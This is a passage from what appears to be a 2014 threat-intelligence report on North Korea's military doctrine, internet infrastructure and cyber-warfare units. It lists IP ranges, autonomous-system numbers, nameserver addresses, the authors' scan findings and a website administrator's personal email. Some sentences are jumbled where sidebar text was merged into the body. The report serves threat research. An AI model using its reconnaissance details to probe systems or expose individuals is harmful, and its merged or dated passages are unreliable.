+military relationships with several nations. +Songun is North Korea +military first + doctrine. Songun emphasizes the priority of the military in +resource allocation and political and economic affairs. 23 This doctrine stems from the belief that +the military is vital for preservation of chaju.24 Understanding songun mindset gives context for +this potential threat actor +s motivations. According to a 2013 Congressional report, the strategy +established under former leader Kim Jong-Il focused on +internal security, coercive diplomacy to +compel acceptance of its diplomatic, economic and security interests, development of strategic +military capabilities to deter external attack, and challenging South Korea and the +U.S.-South Korean alliance."25 +Songun is North Korea +North Korea +s songun permeates the lives of all North Korean citizens. Article 58 of +the North Korean Constitution states that the nation should base itself on a +nationwide defense system that includes all people.26 North Korea, with a +population of 25 million, has an active duty force of 1.19 million personnel, the +fourth largest in the world. The country +s reserve and paramilitary units comprise +7.7 million additional personnel.27 In other words, over a third of the country +population serves in a military or paramilitary capacity. +military first + doctrine. +Songun emphasizes the +priority of the military in +resource allocation and +political and economic +affairs. Understanding this +mindset gives context for a +potential threat actor +motivations. +Some North Korean youth aged 7-13 are inducted into the Korean Children +s Union. The Korean +Children +s Union is responsible for indoctrinating youths who pledge to build up their strength to +later defend the regime.28 +http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf +http://www.strategicstudiesinstitute.army.mil/pdffiles/pub728.pdf +http://www.iar-gwu.org/sites/default/files/articlepdfs/DeRochie_-_The_Driving_Factor.pdf +http://www.defense.gov/news/newsarticle.aspx?id=119924 +http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html +http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html +http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threateningnuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 +Figure 1 A group of North Korean children being inducted into the Korean Children +s Union.29 +Figure 2 Members of the Korean Children +s Union with the regime +s leader Kim Jong Un.30 +http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threateningnuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 +Children aged 14-16 can begin military training as members of the Young Red Guards, a +paramilitary unit. Beginning at age 17, North Koreans are eligible to join the Reserve Military +Training Unit.31 The Reserve Military Training Unit forms the core of North Korea +s reserves and is +typically assigned to the front or regional defense in wartime.32 The youngest age at which a +citizen can be conscripted for active duty is unclear; reported ages range from 18-20. Youths can +volunteer for active duty service at age 16 or 17.33 The Worker-Peasant Militia, or Red Guards, +includes males ages 17-60 and unmarried females ages 17-30 who are not part of active duty +units or the Reserve Military Training Unit.34 +The regime has an impressive number of conventional weapons, considering the nation +s small +land area and population size.35 According to statistics released by CNN in 2014, North Korea +ground arsenal includes 4100 tanks, 2100 armored vehicles, and 8500 pieces of field artillery. +The regime +s sea weaponry includes 70 submarines, 420 patrol combatants, and 260 amphibious +landing craft. Their airpower includes 730 combat aircraft, 300 helicopters, and 290 transport +aircraft. While the limits of the regime +s ballistic missile program are unknown, North Korea is +thought to have fewer than 100 short-range missiles and fewer than 100 medium to long-range +missiles.36 However, in recent years, North Korea has suffered oil,37 fuel,38 electricity,39 and food40 +shortages. Without aid from another entity, the regime does not have sufficient resources to +maintain and sustain the majority of its weapons and associated personnel for rapid deployment +or prolonged combat. +Tension and change on the Korean Peninsula +Tension between North and South Korea has continued well past the armistice meant to end the +Korean War. Neither nation recognizes the other as a legitimate state. South Korea +s constitution +legally defines South Korean territory as the entire Korean peninsula and its adjacent islands, with +North Korea + being a part of South Korea. 41 North Korea also claims to be the sole government +of the Korean Peninsula.42 Each country +s claim of sovereignty and refusal to acknowledge the +other as a legitimate state creates the condition for perpetual conflict. North Korea +s negative +sentiment towards the U.S. stems from two major factors: the U.S. + South Korea military alliance +and North Korea +s perception that the U.S. is imperialistic and prone to exploitative capitalism. 43 +http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threateningnuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 +http://www.globalsecurity.org/military/world/dprk/army.htm +http://www.globalsecurity.org/military/world/dprk/army.htm +https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=6&ved=0CFkQFjAF&url=http%3A%2F%2Fwww.childsoldiers.org%2Fuser_uploads%2Fpdf%2Fkoreademocraticpeoplesrepublicof2639438.pdf&ei=fcyIU_uqCMas0QXUk4DoCw&usg=AFQjCNGOnkQt5ZStqxfc +tKrUY-5IWYSH0A&sig2=ivQLF6lHkSO8Yx9O9VlO4g&bvm=bv.67720277,d.d2k&cad=rja +http://www.globalsecurity.org/military/world/dprk/army.htm +http://www.globalfirepower.com/ +http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html +http://www.presstv.com/detail/2013/04/23/299897/facing-food-and-oil-shortages-north-korea-turns-to-iran/ +http://english.chosun.com/site/data/html_dir/2014/07/02/2014070201995.html +http://www.rfa.org/english/news/korea/electricity-10212013160033.html +http://edition.cnn.com/2013/04/09/business/north-korea-economy-explainer/ +http://www.atimes.com/atimes/Korea/GA04Dg01.html +http://teacher.scholastic.com/scholasticnews/indepth/north_korea/north-south/index.asp?article=north_korea +http://cns.miis.edu/other/pinkston_strategic_insights_sep06.pdf +In recent years, two primary factors have heavily influenced the current state of North Korea +relations with South Korea and her allies: the rise of the regime +s leader Kim Jong Un and the +inauguration of South Korean president Park Guen Hye. Kim Jong Un officially rose to power in +April 2012, following the death of his father Kim Jong Il in December 2011. While his age +remained a mystery for quite some time, it was later revealed that he was born in January 1983, +making him age 31 at present. This makes Kim Jong Un the world +s youngest leader of an +established nation.44 The young leader +s rise to power brought about several changes in North +Korea. First, Kim Jong Un +s personal life is more public and more extravagant than that of his +father. Unlike his father, the young Kim is often accompanied by his wife when making public +appearances.45 Second, the young Kim, who is more high-tech than his predecessor, is reported to +have an affinity for luxury items46 and is an avid gamer and basketball fan.47 Third, Kim Jong Un is +more totalitarian than his father. Following his rise to power, the regime reportedly expanded its +labor camps, and more military resources were allocated to target those attempting to defect. +Kim also executed his own uncle, a high-ranking official who did not share his ideals. These moves +indicate the regime +s priority to deter internal destabilization and dissent, which is perceived to be +a greater threat than outside adversity. According to Phil Robertson, deputy Asia director at +Human Rights Watch, +The government now recognizes that the accounts of escaping North +Koreans reveal Pyongyang +s crimes + so it is doing what it can to stop people from fleeing. +Under Kim Jong Un +s rule, the regime has stepped up its nuclear materials production, and the +propaganda distributed by state media has become more menacing.49 +The regime +s response to perceived threats has also become more volatile. Christian Whiton, a +former deputy envoy to North Korea, noted that following Kim Jong Un +s rise to power, +regime still acts in a very belligerent manner, but it seems less predictable, and more random. +Ellen Kim, assistant director of the Korea Chair at the Center for Strategic and International +Studies, assessed the situation thusly: +Since [Kim Jong Un] took power he has purged almost all +of his elder guardians ... and filled his surroundings with new faces. We are in a situation where we +are learning about him a little bit every day through his unpredictable behavior and actions, which +is why the current situation with North Korea is a lot more dangerous than before. +50 The regime +recent reaction to an upcoming film supports these statements. The plot for the comedy film +Interview + follows two talk show hosts who are asked to assassinate Kim Jong Un. The regime +even sent a complaint about the movie to the UN.51 In response to the film, a North Korean official +stated, +The enemies have gone beyond the tolerance limit in their despicable moves to dare hurt +the dignity of the supreme leadership. + The official referred to the movie as "the most undisguised +terrorism and a war action to deprive the service personnel and people of the DPRK of their +mental mainstay and bring down its social system. + The official also issued a threat: +If the U.S. +administration connives at and patronizes the screening of the film, it will invite a strong and +merciless countermeasure. +52 This reaction demonstrates North Korea +s priority of preserving the +http://www.theatlantic.com/international/archive/2012/12/kim-jong-uns-age-is-no-longer-a-mystery/265983/ +http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html +http://www.huffingtonpost.com/2014/02/18/north-korea-luxury-goods_n_4808823.html +http://nypost.com/2011/12/20/kims-007-nut-kid-in-charge/ +http://www.hrw.org/news/2014/01/21/north-korea-kim-jong-un-deepens-abusive-rule +http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html +http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iid=article_sidebar +http://www.northkoreatech.org/2014/07/10/dprk-takes-the-interview-movie-complaint-to-the-un/ +http://edition.cnn.com/2014/06/25/world/asia/north-korea-the-interview-reaction/index.html?iid=article_sidebar +regime +s self-perceived dignity in the global arena and its intolerance of any disrespect directed at +the Kim family. +While tensions between North and South Korea have persisted since the Korean War, these +tensions escalated following the 2013 inauguration of South Korea +s current president, Park Geun +Hye. Her platform, in her words, is as follows: +North Korea must keep its agreements made with +South Korea and the international community to establish a minimum level of trust, and second +there must be assured consequences for actions that breach the peace. To ensure stability, +trustpolitik should be applied consistently from issue to issue based on verifiable actions, and +steps should not be taken for mere political expediency. +53 Shortly after Park +s inauguration, +North Korea denounced UN Security Council Resolution 2094, which is +a resolution strengthening +and expanding the scope of United Nations sanctions against the Democratic People +s Republic of +Korea by targeting the illicit activities of diplomatic personnel, transfers of bulk cash, and the +country +s banking relationships, in response to that country +s third nuclear test on 12 February +[2013]. +54 North Korea also responded strongly to joint U.S.-South Korea military exercises in +March 2013, as is noted later in this paper.55 +North Korean cyber capabilities and limitations +North Korean infrastructure +North Korea +s cyber infrastructure is divided into two major parts: an outward-facing Internet +connection and a regime-controlled intranet. North Korea +s outward-facing Internet connection is +only available to select individuals and is closely monitored for any activity that is deemed antiregime. Individuals using the outward-facing Internet connection must be authorized. In 2013, +Jean H. Lee, the Associated Press bureau chief in Pyongyang, stated that foreigners visiting North +Korea are allowed Internet access with no firewalls.56 Common citizens are limited to using the +Kwangmyong (gwang me-young), a nationwide intranet with no access to the world outside North +Korea. 57 According to Lee, Kwangmyong allows citizens +access to the state media, information +sources that are vetted by the government, and picked and pulled from the Internet and posted to +their intranet site. +58 As of May 2013, North Korea had only one +Internet caf +59 A 2003 report +from the Office of the National Counterintelligence Executive stated that North Korea +Internet + was +the only place in North Korea for the public to access the Internet + and that foreigners +were allowed to access the Internet from this caf +.60 Whether citizens are allowed to access the +Internet from this location is unknown. +Star Joint Venture Co. is responsible for providing North Korea +s Internet access. Star Joint Venture +Co. was established by the Post and Telecommunications Corporation in cooperation with Loxley +http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy +http://www.un.org/News/Press/docs/2013/sc10934.doc.htm +http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy +http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ +http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId=18&pageNumber=2 +http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ +http://www.washingtonpost.com/blogs/worldviews/wp/2013/01/29/north-koreans-shouldnt-count-on-using-the-new-google-maps/ +http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf +Pacific in Thailand.61 In December 2009, Star Joint Venture became responsible for North Korea +Internet address allocation. Previously, Internet access was provided by a German satellite link via +Korea Computer Center Europe or via direct connections with China Netcom, which was later +merged into China Unicom. 62 By October 2010, North Korea had made its first known direct +connection to the Internet, hosting an outward-facing Korean Central News Agency website +accessible from the global Internet. 63 However, many of North Korea +s globally accessible +websites are hosted in other countries. In 2001, South Korean reports indicated that North Korea +had joined the International Telecommunications Satellite Organization (INTELSAT).64 As of April +2012, North Korea reportedly used the Intelsat connection, which appeared in border gateway +protocol (BGP) announcements.65 Some reports referred to the Intelsat connection as North +Korea +s backup Internet connection, in case the China Unicom connection fails.66 A March 2013 +post on the blog rdns.im showed that North Korea no longer used the Intelsat connection. In the +blog post, the author noted his method for proving that The Pirate Bay was not hosted in North +Korea. While his analysis of The Pirate Bay +s hosting is irrelevant to our research, he did detail that +175.45.177.0/24 always routes through AS4837, and AS131279. AS131279 is Star-KP, North +Korea +s Star Joint Venture Company, and AS4837 is China Unicom. The author concluded that +[traffic] is ONLY routed through China Unicom and NOT through Intelsat. +67 In February 2014, +North Korean and South Korean officials agreed to extend Internet access to Kaesong Industrial +Zone, a jointly operated industrial complex just north of the border. However, this would likely +require a major electrical and network infrastructure expansion.68 +North Korea +s electrical grid cannot support a large technological infrastructure.69 Electrical +power is reported to be unreliable and sporadic, with many citizens only receiving a few hours of +electricity per day.70 +http://www.northkoreatech.org/2011/05/19/more-details-on-star-joint-venture/ +http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId=18&pageNumber=2 +http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/ +http://webcache.googleusercontent.com/search?q=cache:http://english.chosun.com/site/data/html_dir/2001/05/29/2001052961197.html +http://www.northkoreatech.org/2012/04/08/dprk-gets-second-link-to-internet/ +http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage +https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2 +http://www.northkoreatech.org/2014/02/10/internet-coming-to-kaesong-industrial-zone/ +http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/ +http://www.usnews.com/news/blogs/rick-newman/2013/04/12/heres-how-lousy-life-is-in-north-korea +Figure 3 North and South Korean power grid +The photo above (Figure 3), from the International Space Station, shows North Korea +s sparse +power grid, in comparison with surrounding nations.71 We have highlighted North Korea in red. +Koryolink, the country +s only cellular phone network,72 is tightly controlled by the regime.73 Cell +phone data plans are not available to most users. Most cellular phones cannot access the +Internet and can only make domestic calls.74 According to a 2013 report, North Korea has a 3G +data network for cellular phones. Visiting reporter Jean H. Lee purportedly used this 3G network +to post to both Twitter and Instagram. However, citizens are not generally allowed to use the 3G +network.75 +Email is also regulated by the regime. The first email provider in North Korea was Silibank. Silibank +has servers in Pyongyong and Shenyang and is a joint venture with China. The North Korean +Silibank homepage is silibank.net, and the Chinese homepage is silibank.com. In order to use the +email service, users had to initially register, provide personal information, and pay a registration +fee and monthly service fees.76 This registration information was current as of 2001. However, it +is unknown whether the same process still applies. +WHOIS records for silibank.net show that the site was registered anonymously via a Japanese +registrar. This information can be found in Appendix A at the end of this paper. +http://www.citylab.com/work/2014/02/north-korea-night-looks-big-black-hole/8484/ +http://www.northkoreatech.org/2014/06/24/chinese-shops-offer-cheap-cellphones-to-north-koreans/ +http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf +http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf +http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ +http://edition.cnn.com/2001/TECH/internet/11/07/north.korea.email.idg/index.html +Korea Computer Center (KCC) is North Korea +s leading government research center for +information technology. KCC has eleven regional information centers and eight development and +production centers. Other countries with KCC branch offices include China, Syria, Germany, and +United Arab Emirates. KCC has a vested interest in Linux research and is responsible for the +development of North Korea +s national operating system, Red Star OS, which is discussed in more +detail below. KCC +s other projects have included a proprietary search engine, a document writer, a +game called Jang-Gi, the Kwangmyong intranet, a food study program, a Korean input method +editor, a pen-based English-Korean and Korean-English translator, Korean voice recognition +software, a video conferencing system, a distance education system, SilverStar Paduk software, +HMS Player77, and the Samjiyon tablet. 78 In addition to research and development, KCC also +monitors websites of foreign government and business entities and conducts technical +reconnaissance to blueprint the technical specifications and vulnerabilities in foreign systems and +technologies. KCC has also been involved in clandestine information and cyber operations, serving +as a command center.79 +North Korea +s proprietary operating system is Red Star OS. The development of this Linux-based +operating system started in 2002. Red Star OS is only offered in the Korean language and +features proprietary software including Naenara (a Firefox-based browser), as well as a text +editor, email client, audio and video players, and games.80 Red Star OS +s keyboard layouts include +Korean, English, Russian, Chinese, and Japanese. Regime ideals extend to Red Star OS. The +readme file, which goes with the installation disc, reportedly includes a quote from Kim Jong-Il +regarding the importance of North Korea having its own Linux-based operating system that is +compatible with Korean traditions. While prior versions of Red Star were KDE-based, version 3.0 +mimics Apple +s OS X.81 82 This could indicate the regime leader Kim Jong Un +s preference for the +OS X environment, as Kim reportedly uses an iMac.83 Citizens do not need permission to obtain +Red Star OS. However, the purchase of computers is heavily regulated.84 The OS +s design suggests +it was developed with means for the regime to monitor user activity.85 +North Korea is known to use two IP ranges. 175.45.176.0/22 is North Korea +s own IP block.86 +Additionally, North Korea +s Telecommunications Ministry is the registered user of China Unicom IP +range 210.52.109.0/24.87 The country +s only autonomous system (AS) number is AS131279, and +its only peer is AS4837, the AS for China Unicom.88 +North Korea +s country code top-level domain (ccTLD) is .kp. In 2007, the .kp TLD was initially +delegated to and administered by the German-based KCC Europe.89 After KCC Europe failed to +http://www.naenara.com.kp/en/kcc/ +http://www.northkoreatech.org/2012/09/28/samjiyon-android-tablet-debuts-at-pyongyang-trade-fair/ +http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf +http://ashen-rus.livejournal.com/4300.html +http://news.bbc.co.uk/2/hi/technology/8604912.stm +http://www.arnnet.com.au/article/537360/north_korea_goes_osx-like_new_operating_system/ +http://www.businessinsider.com/brand-new-photo-confirms-that-kim-jong-un-is-a-mac-user-2013-3 +http://rt.com/news/north-korea-cyber-weapon/ +http://news.bbc.co.uk/2/hi/technology/8604912.stm +http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/ +https://www.northkoreatech.org/2011/06/26/north-koreas-chinese-ip-addresses/ +http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/ +http://www.northkoreatech.org/2011/05/19/kp-domain-switch-came-after-kcc-europe-disappeared/ +maintain the TLD, it was re-delegated to Star Joint Venture Company.90 The .kp TLD uses the +following nameservers and IP addresses:91 +Nameserver +ns1.kptc.kp +ns2.kptc.kp +ns3.kptc.kp +IP Address +175.45.176.15 +175.45.176.16 +175.45.178.173 +Various U.S., U.N, and other sanctions prohibit export of dual-use technologies to North Korea. In +light of this, North Korea has managed to develop both hardware and software and hosts an +annual National Exhibition of Invention and New Technologies to promote its products.92 However, +the regime has historically failed in its attempts at large-scale production of electronic +components. The country +s sparse electrical grid is one of the major obstacles hindering largescale manufacturing.93 Additionally, the famine in the early 1990 +s negatively impacted existing +manufacturing facilities, and the regime simply does not have the capital to modernize those +factories.94 A member of the World International Property Organization (WIPO), North Korea joined +the WIPO Patent Cooperation Treaty that protects patents and trademarks worldwide, and +leverages intellectual property laws to ensure Westerners do not take credit for North Korean +inventions.95 The regime, in its efforts to isolate its citizens from Western influence, leverages +intellectual property laws to ensure Westerners do not take credit for North Korean inventions.96 +This is ironic since foreign-made electronic components are sometimes smuggled into North +Korea for military use and for personal use by the regime +s upper echelon. +An analysis of developments in North Korean cyberspace since 2010 +A comparison of a scan97 of North Korea +s IP ranges in November 2010, just one month after +North Korea made its first direct connection to the Internet, and a series of several scans we +conducted in May 2014, shows that North Korea has made significant headway in establishing its +Internet presence. +In the November 2010 scan, 175.45.176.0 - 175.45.176.16 showed a variety of devices including +D-link, Cisco, Linksys, HP, and Nokia devices, and a Juniper networks firewall. Operating systems +detected included FreeBSD 6.x, Linux 2.6.x, and Red Hat Enterprise Linux. 175.45.176.14 returned +Naenara + as an html-title. Most hosts in the 175.45.176.xx and 175.45.177.xx ranges were +down. As of 2014, IP addresses 175.45.176.0 - 175.45.177.255 appear to be used for websites, +nameservers, databases, email, and voice over IP (VoIP). In November 2010, the 175.45.178.xx +range showed all hosts down,98 and the 175.45.179.xx range showed most hosts were down.99 +http://www.iana.org/reports/2011/kp-report-20110401.html +http://www.iana.org/domains/root/db/kp.html +http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf +http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH4.pdf +http://sinonk.com/2013/10/11/a-primer-on-north-koreas-economy-an-interview-with-andrei-lankov/ +http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf +http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf +http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.178.txt +http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.178.txt +http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.179.txt +In 2014, several webservers and nameservers were found in the 175.45.178.xx range, and +several nameservers and mail servers were found in the 175.45.179.xx range. This comparison +demonstrates that there has been some growth in DPRK Internet infrastructure over the past four +years. However, it seemingly lags behind even most third world nations. The 2014 scans detected +dated technology that is potentially susceptible to multiple vulnerabilities and consistently +showed the same open ports and active devices on scanned hosts. It is not clear whether the +regime failed to notice and react to the scanning or whether the regime allows these open ports +and devices to be detected or spoofed to serve as a distraction or possible honeypot. +Domains, nameservers, and mail servers present during the May 2014 scan are listed in Appendix +B at the end of this report. +According to Alexa rankings, the three most visited websites in North Korea are kcna.kp, the +official website of the Korean Central News Agency (KCNA)100; rodong.rep.kp, another North +Korean news site101; and naenara.com.kp, North Korea +s official web portal.102 Naenara translates +my country +The kcna.kp site was registered using a Loxley.co.th email address and is administrated by Star +Joint Venture Company. The WHOIS Record can be found in Appendix A. +http://dig.do/kcna.kp +http://dig.do/rodong.rep.kp +http://dig.do/naenara.com.kp +Figure 4 A screenshot from the kcna.kp homepage.103 +Rodong.rep.kp was registered using the same loxley.co.th email address and is also administered +by Star Joint Venture Company. The WHOIS Record for this site can be found in Appendix A. +http://kcna.kp/kcna.user.home.retrieveHomeInfoList.kcmsf +Figure 5 A screenshot from the rodong.rep.kp homepage.104 +The WHOIS information for Naenara.com.kp was not available. +http://rodong.rep.kp/ko/ +Figure 6 A screenshot of the Naenara.com.kp website.105 +In March 2013, there were reports that the Chrome browser was blocking Naenara.com.kp due to +malware.106 +Figure 7 Screenshot of what visitors to Naenara.com.kp saw when using the Chrome browser.107 +http://naenara.com.kp/en/ +http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ +http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ +Figure 8 Screenshot detailing why Chrome blocked the site108 +It is difficult to say whether this incident is a case of North Korea serving malware or whether a +third party took advantage of an improperly secured website. +Several major North Korean websites are hosted outside of North Korea. The popular +Uriminzokkiri.com website, whose name translates to +our nation, + is hosted in China. The +administrative contact for the website is Kim Sejun, and the email address given as contact +information is hyk1979@hotmail.com. The WHOIS Record for this site can be found in Appendix A. +http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ +Figure 9 A screenshot of the Uriminzokkiri website 109 +The website for Kim Il Sung Open University, otherwise known as +Our Nation School + is also +hosted in China. The WHOIS record for this site can be found in Appendix A. +http://www.uriminzokkiri.com/ +Figure 10 A screenshot of ournation-school.com. 110 +North Korean cyber war and intelligence structure +At the top of North Korea +s military structure is the National Defense Commission (NDC). The NDC +is also the highest branch of government and the regime +s supreme policymaking body. 111 Along +with the Central Committee of the Workers + Party of Korea and the Cabinet, NDC is at the top of +http://www.ournation-school.com/ +https://nkleadershipwatch.wordpress.com/dprk-security-apparatus/national-defense-commission/ +North Korea +s political hierarchy.112 Article 106 of North Korea +s Constitution gives the NDC the +following powers:113 + The power to establish policies of the state in accordance with the military-first +revolutionary line. + The power to guide the armed forces and oversee defense building. + The power to supervise and ensure the NDC and its chairman +s orders are executed and to +establish necessary measures. + The power to override any state decisions or directives that are in opposition to the NDC +or its chairman +s decisions and directives. + The power to create or remove central organs of the national defense sector. + The power to create and bestow military titles above general-grade officer rank. +The NDC oversees several defense and intelligence bodies including the Ministry of State Security, +the Ministry of People +s Security, the Ministry of People +s Armed Forces, and the Korean People +Army. The Ministry of State Security (MSS), also known as the State Security Department, is North +Korea +s primary counterintelligence service. It is considered an autonomous agent of the regime +and reports directly to leader Kim Jong Un. The MSS +s duties include oversight of North Korean +prison camps, investigation of domestic espionage, repatriation of defectors, and overseas +counterespionage operations.114 The Ministry of People +s Security is also known as the Ministry of +Public Security (MPS). Focused on domestic order, it oversees North Korea +s national police force, +conducts criminal investigations and preliminary examinations, and oversees correctional +facilities, excluding prison camps.115 While the roles of the MSS and MPS focus more on +intelligence than on cyber operations, the MSS also reportedly has a communications monitoring +and computer hacking group.116 +The Ministry of People +s Armed Forces (MPAF) administrates the Korean People +s Army (KPA) and +oversees the General Staff Department (GSD), which is responsible for +Unit 121 comprises both an +intelligence component and +operational command and control of North Korea +s armed forces. The General +an attack component. One of +Staff Department also oversees the Reconnaissance General Bureau (RGB), North +Unit 121 +s command posts is +Korea +s agency for clandestine operations. The RGB has a role in both traditional +Chilbosan Hotel in Shenyang, +and cyber operations. In the past, the RGB has sent agents on overseas military +China. Unit 121 maintains +assistance missions to train insurgent groups.117 The RGB reportedly has a special +technical reconnaissance +teams responsible for +operations forces (SOF) element118 and oversees six bureaus that specialize in +infiltration of computer +operations, reconnaissance, technology and cyber matters, overseas intelligence +networks, hacking to obtain +collection, inter-Korean talks, and service support.119 Two of these bureaus have +intelligence, and planting +been identified as the No. 91 Office and Unit 121. The No. 91 Office, an office +viruses on enemy networks. +responsible for hacking, operates out of the Mangkyungdae-district of +http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/ +http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html +http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf +http://www.factba.se/handbook-page.php?id=1129700 +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 +http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf +http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf +http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf +Pyongyang.120 Unit 121 comprises both an intelligence component and an attack component. Unit +s headquarters is in the Moonshin-dong area of Pyongyang, near the Taedong River.121 It also +has components that conduct operations from within China. One of Unit 121 +s command posts is +Chilbosan Hotel122 in Shenyang, the capital of Liaoning Province, which borders North Korea.123 +Shenyang is a Chinese military district.124 According to Dr. Alexandre Mansourov, an expert on +North Korea and a visiting scholar at the U.S.-Korea Institute at Johns Hopkins University, "They +[Unit 121] are believed to have conducted hacking operations from inside China that falsify +classified data and disrupt U.S. and South Korean systems."125 Both Unit 121 and an entity known +as Lab 110 are reported to maintain technical reconnaissance teams responsible for infiltrating +computer networks, hacking to obtain intelligence, and planting viruses on enemy networks.126 127 +Figure 11 A map pinpointing the location of the Chilbosan Hotel.128 +http://www.infosecisland.com/blogview/21577-Concerns-Mount-over-North-Korean-Cyber-Warfare-Capabilities.html +http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html +http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 +http://www.defense.gov/pubs/2014_DoD_China_Report.pdf +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 +https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg +Clarke, R. A. (2012). Cyber war: The next threat to national security and what to do about it. New York, NY: Ecco. +maps.google.com +Figure 12 A satellite view of the Chilbosan Hotel.129 +Several entities are nested under the Workers + Party. The Central Party +The Unification Bureau falls +Committee oversees the Central Party Investigative Group, also known as Unit +under the Workers + Party. Its +35. Unit 35 is reportedly responsible for technical education and training of +Operations Department is +cyber warriors. The Unification Bureau +s Operations Department is +responsible for cyberresponsible for cyber-psychological warfare, organizational espionage, and +psychological warfare, +organizational espionage, and +oversight of Unit 204. Unit 204 +s responsibilities include planning and execution +oversight of Unit 204. Unit 204 +of cyber-psychological warfare operations and technological research. The +responsibilities include planning +Psychological Operations Department of the North Korea Defense Commission +and execution of cyberalso engages in cyber-psychological warfare.133 The 225th Bureau, or Office 225, +psychological warfare operations +is responsible for training agents, infiltration operations in South Korea, and +and technological research. The +Psychological Operations +creation of underground political parties in order to incite disorder and revolution. +Department of the North Korea +It plays a more traditional intelligence and psychological operations role, rather +Defense Commission also +than focusing on cyber operations.134 The United Front Department (UFD) +engages in cyber-psychological +conducts overt operations to create pro-North Korean groups in South Korea. +warfare. +Examples of this activity include the Korean Asia-Pacific Committee and the +Ethnic Reconciliation Council. The UFD also manages inter-Korean dialogue and North Korea +policy toward South Korea. Its operations are also more traditional rather than cyber-focused.135 +maps.google.com +Clarke, R. A. (2012). Cyber war: The next threat to national security and what to do about it. New York, NY: Ecco. +https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg +http://goodfriendsusa.blogspot.co.uk/2008/07/north-korea-today-no174.html +https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg +http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf +http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf +The Liaison Department of the Worker +s Party oversees a faction of ethnic North Koreans residing +in Japan who are critical to North Korea +s cyber and intelligence programs. This group, which was +established in 1955, is referred to by various names including the Chosen Soren, Chongryon, and +the General Association of Korean Residents in Japan.136 The Chongryon ascribe to juche and seek +to preserve North Korean culture while living in Japan. They operate North Korean style schools +and refuse to assimilate with Japanese culture.137 According to Mitsuhiro 